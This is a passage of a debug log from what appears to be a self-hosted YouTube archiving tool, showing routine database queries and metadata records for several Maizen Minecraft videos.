false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [213214] 20:06:48.953 [debug] Current batch of media processed. Will check again in 1000ms 20:06:49.954 [debug] Current batch of media processed. Will check again in 1000ms 20:06:50.955 [debug] Current batch of media processed. Will check again in 1000ms 20:06:51.956 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, JJ and Mikey are preparing to take the Pro Doctor Exam! There's just one problem, the entry fee is one-million gold!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 5542, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e061300 - THE WORLD's STRICTEST TEST: The Movie.mp4", "id" => "3RR5Sbesx6s", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=3RR5Sbesx6s", "playlist_index" => 8, "timestamp" => 1781319606, "title" => "THE WORLD's STRICTEST TEST: The Movie", "upload_date" => "20260613"} 20:06:51.957 [debug] QUERY OK source="sources" db=0.3ms idle=1174.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 20:06:51.957 [debug] QUERY OK source="sources" db=0.1ms idle=1174.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:06:51.959 [debug] QUERY OK source="media_items" db=1.3ms idle=1175.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-13 03:00:06Z], 2] 20:06:51.960 [debug] QUERY OK source="media_items" db=0.6ms idle=1044.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, JJ and Mikey are preparing to take the Pro Doctor Exam! There's just one problem, the entry fee is one-million gold!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "THE WORLD's STRICTEST TEST: The Movie", "154f3477-560c-46b1-8072-296793fe359f", "3RR5Sbesx6s", 5542, false, "https://www.youtube.com/watch?v=3RR5Sbesx6s", 8, "/downloads/shows/Maizen/Season 2026/s2026e061300 - THE WORLD's STRICTEST TEST: The Movie.mp4", false, false, false, 2, [], 98, ~U[2026-06-13 03:00:06Z], ~U[2026-08-20 03:06:51Z], ~U[2026-08-20 03:06:51Z], "Today, JJ and Mikey are preparing to take the Pro Doctor Exam! There's just one problem, the entry fee is one-million gold!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "THE WORLD's STRICTEST TEST: The Movie", "3RR5Sbesx6s", 5542, false, "https://www.youtube.com/watch?v=3RR5Sbesx6s", "/downloads/shows/Maizen/Season 2026/s2026e061300 - THE WORLD's STRICTEST TEST: The Movie.mp4", false, 2, ~U[2026-06-13 03:00:06Z]] 20:06:51.960 [debug] QUERY OK source="sources" db=0.1ms idle=44.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:06:51.960 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:06:51.961 [debug] QUERY OK source="media_items" db=0.1ms idle=3.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [183790] 20:06:51.961 [debug] Current batch of media processed. Will check again in 1000ms 20:06:52.962 [debug] Current batch of media processed. Will check again in 1000ms 20:06:53.963 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Mikey's been sent to prison for a crime he didn't commit! Even worse, he's been sentenced to Infinity Prison, the highest security, most inescapable prison in the world! Now it's up to JJ to help get Mikey out, and clear his name! But not everything is at it seems here...\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 5036, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e060600 - THE WORLD's HIGHEST SECURITY PRISON: The Movie.mp4", "id" => "9ZPbk2Unu8A", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=9ZPbk2Unu8A", "playlist_index" => 9, "timestamp" => 1780714806, "title" => "THE WORLD's HIGHEST SECURITY PRISON: The Movie", "upload_date" => "20260606"} 20:06:53.964 [debug] QUERY OK source="sources" db=0.1ms idle=181.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 20:06:53.964 [debug] QUERY OK source="sources" db=0.1ms idle=181.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:06:53.966 [debug] QUERY OK source="media_items" db=1.3ms idle=182.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-06 03:00:06Z], 2] 20:06:53.967 [debug] QUERY OK source="media_items" db=0.6ms idle=183.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Mikey's been sent to prison for a crime he didn't commit! Even worse, he's been sentenced to Infinity Prison, the highest security, most inescapable prison in the world! Now it's up to JJ to help get Mikey out, and clear his name! But not everything is at it seems here...\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "THE WORLD's HIGHEST SECURITY PRISON: The Movie", "5b104bff-21e1-4a0e-87c0-a6b360ca8336", "9ZPbk2Unu8A", 5036, false, "https://www.youtube.com/watch?v=9ZPbk2Unu8A", 9, "/downloads/shows/Maizen/Season 2026/s2026e060600 - THE WORLD's HIGHEST SECURITY PRISON: The Movie.mp4", false, false, false, 2, [], 98, ~U[2026-06-06 03:00:06Z], ~U[2026-08-20 03:06:53Z], ~U[2026-08-20 03:06:53Z], "Today, Mikey's been sent to prison for a crime he didn't commit! Even worse, he's been sentenced to Infinity Prison, the highest security, most inescapable prison in the world! Now it's up to JJ to help get Mikey out, and clear his name! But not everything is at it seems here...\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "THE WORLD's HIGHEST SECURITY PRISON: The Movie", "9ZPbk2Unu8A", 5036, false, "https://www.youtube.com/watch?v=9ZPbk2Unu8A", "/downloads/shows/Maizen/Season 2026/s2026e060600 - THE WORLD's HIGHEST SECURITY PRISON: The Movie.mp4", false, 2, ~U[2026-06-06 03:00:06Z]] 20:06:53.967 [debug] QUERY OK source="sources" db=0.1ms idle=49.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:06:53.967 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:06:53.968 [debug] QUERY OK source="media_items" db=0.2ms idle=3.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [152861] 20:06:53.968 [debug] Current batch of media processed. Will check again in 1000ms 20:06:54.969 [debug] Current batch of media processed. Will check again in 1000ms 20:06:55.970 [debug] Current batch of media processed. Will check again in 1000ms 20:06:56.971 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, we've arrived in our new village! However, not everything is at it seems here. Every night, someone is killed, yikes! We have to find the culprit and put a stop to them!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 3796, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e060100 - Minecraft, But One Person Dies Every Day....mp4", "id" => "RxEEQdWqH10", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=RxEEQdWqH10", "playlist_index" => 10, "timestamp" => 1780298214, "title" => "Minecraft, But One Person Dies Every Day...", "upload_date" => "20260601"} 20:06:56.972 [debug] QUERY OK source="sources" db=0.2ms idle=1189.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 20:06:56.972 [debug] QUERY OK source="sources" db=0.2ms idle=1190.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:06:56.974 [debug] QUERY OK source="media_items" db=1.3ms idle=1190.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-01 07:16:54Z], 2] 20:06:56.975 [debug] QUERY OK source="media_items" db=0.7ms idle=1053.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we've arrived in our new village! However, not everything is at it seems here. Every night, someone is killed, yikes! We have to find the culprit and put a stop to them!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft, But One Person Dies Every Day...", "a4317430-5a87-4316-bfa8-68192e325a60", "RxEEQdWqH10", 3796, false, "https://www.youtube.com/watch?v=RxEEQdWqH10", 10, "/downloads/shows/Maizen/Season 2026/s2026e060100 - Minecraft, But One Person Dies Every Day....mp4", false, false, false, 2, [], 98, ~U[2026-06-01 07:16:54Z], ~U[2026-08-20 03:06:56Z], ~U[2026-08-20 03:06:56Z], "Today, we've arrived in our new village! However, not everything is at it seems here. Every night, someone is killed, yikes! We have to find the culprit and put a stop to them!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft, But One Person Dies Every Day...", "RxEEQdWqH10", 3796, false, "https://www.youtube.com/watch?v=RxEEQdWqH10", "/downloads/shows/Maizen/Season 2026/s2026e060100 - Minecraft, But One Person Dies Every Day....mp4", false, 2, ~U[2026-06-01 07:16:54Z]] 20:06:56.975 [debug] QUERY OK source="sources" db=0.2ms idle=53.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:06:56.976 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:06:56.976 [debug] QUERY OK source="media_items" db=0.2ms idle=3.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [141213] 20:06:56.976 [debug] Current batch of media processed. Will check again in 1000ms 20:06:57.977 [debug] Current batch of media processed. Will check again in 1000ms 20:06:58.978 [debug] Current batch of media processed. Will check again in 1000ms 20:06:59.979 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, we're playing PVP Roulette Hide and Seek! We'll take turns rolling the roulette machine, and using the awesome items we get to hide in this huge mansion! Who do you think is gonna win today?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 857, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e052900 - The Roulette of OP ITEM in Hide and Seek!.mp4", "id" => "n5lwtRSwTqY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=n5lwtRSwTqY", "playlist_index" => 11, "timestamp" => 1780040554, "title" => "The Roulette of OP ITEM in Hide and Seek!", "upload_date" => "20260529"} 20:06:59.980 [debug] QUERY OK source="sources" db=0.2ms idle=1197.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 20:06:59.980 [debug] QUERY OK source="sources" db=0.2ms idle=1198.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:06:59.982 [debug] QUERY OK source="media_items" db=1.3ms idle=1198.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-29 07:42:34Z], 2] 20:06:59.983 [debug] QUERY OK source="media_items" db=0.7ms idle=1058.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're playing PVP Roulette Hide and Seek! We'll take turns rolling the roulette machine, and using the awesome items we get to hide in this huge mansion! Who do you think is gonna win today?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "The Roulette of OP ITEM in Hide and Seek!", "67eec05f-cfed-47f8-bc58-6221b8aba16c", "n5lwtRSwTqY", 857, false, "https://www.youtube.com/watch?v=n5lwtRSwTqY", 11, "/downloads/shows/Maizen/Season 2026/s2026e052900 - The Roulette of OP ITEM in Hide and Seek!.mp4", false, false, false, 2, [], 98, ~U[2026-05-29 07:42:34Z], ~U[2026-08-20 03:06:59Z], ~U[2026-08-20 03:06:59Z], "Today, we're playing PVP Roulette Hide and Seek! We'll take turns rolling the roulette machine, and using the awesome items we get to hide in this huge mansion! Who do you think is gonna win today?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "The Roulette of OP ITEM in Hide and Seek!", "n5lwtRSwTqY", 857, false, "https://www.youtube.com/watch?v=n5lwtRSwTqY", "/downloads/shows/Maizen/Season 2026/s2026e052900 - The Roulette of OP ITEM in Hide and Seek!.mp4", false, 2, ~U[2026-05-29 07:42:34Z]] 20:06:59.983 [debug] QUERY OK source="sources" db=0.2ms idle=57.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:06:59.984 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:06:59.984 [debug] QUERY OK source="media_items" db=0.2ms idle=3.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [128101] 20:06:59.984 [debug] Current batch of media processed. Will check again in 1000ms 20:07:00.224 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:07:00.985 [debug] Current batch of media processed. Will check again in 1000ms 20:07:01.986 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, we're having a house on the water building competition! We'll both build houses in the ocean, and then compete to reach the treasure hidden deep on the ocean floor! Who's house was your favorite today?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 2291, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e052600 - NOOB vs PRO: WATER HOUSE BUILD CHALLENGE in Minecraft.mp4", "id" => "m-eW0HpIFp0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=m-eW0HpIFp0", "playlist_index" => 12, "timestamp" => 1779774844, "title" => "NOOB vs PRO: WATER HOUSE BUILD CHALLENGE in Minecraft", "upload_date" => "20260526"} 20:07:01.987 [debug] QUERY OK source="sources" db=0.2ms idle=204.2ms SELECT s0."id", s0."enabled", 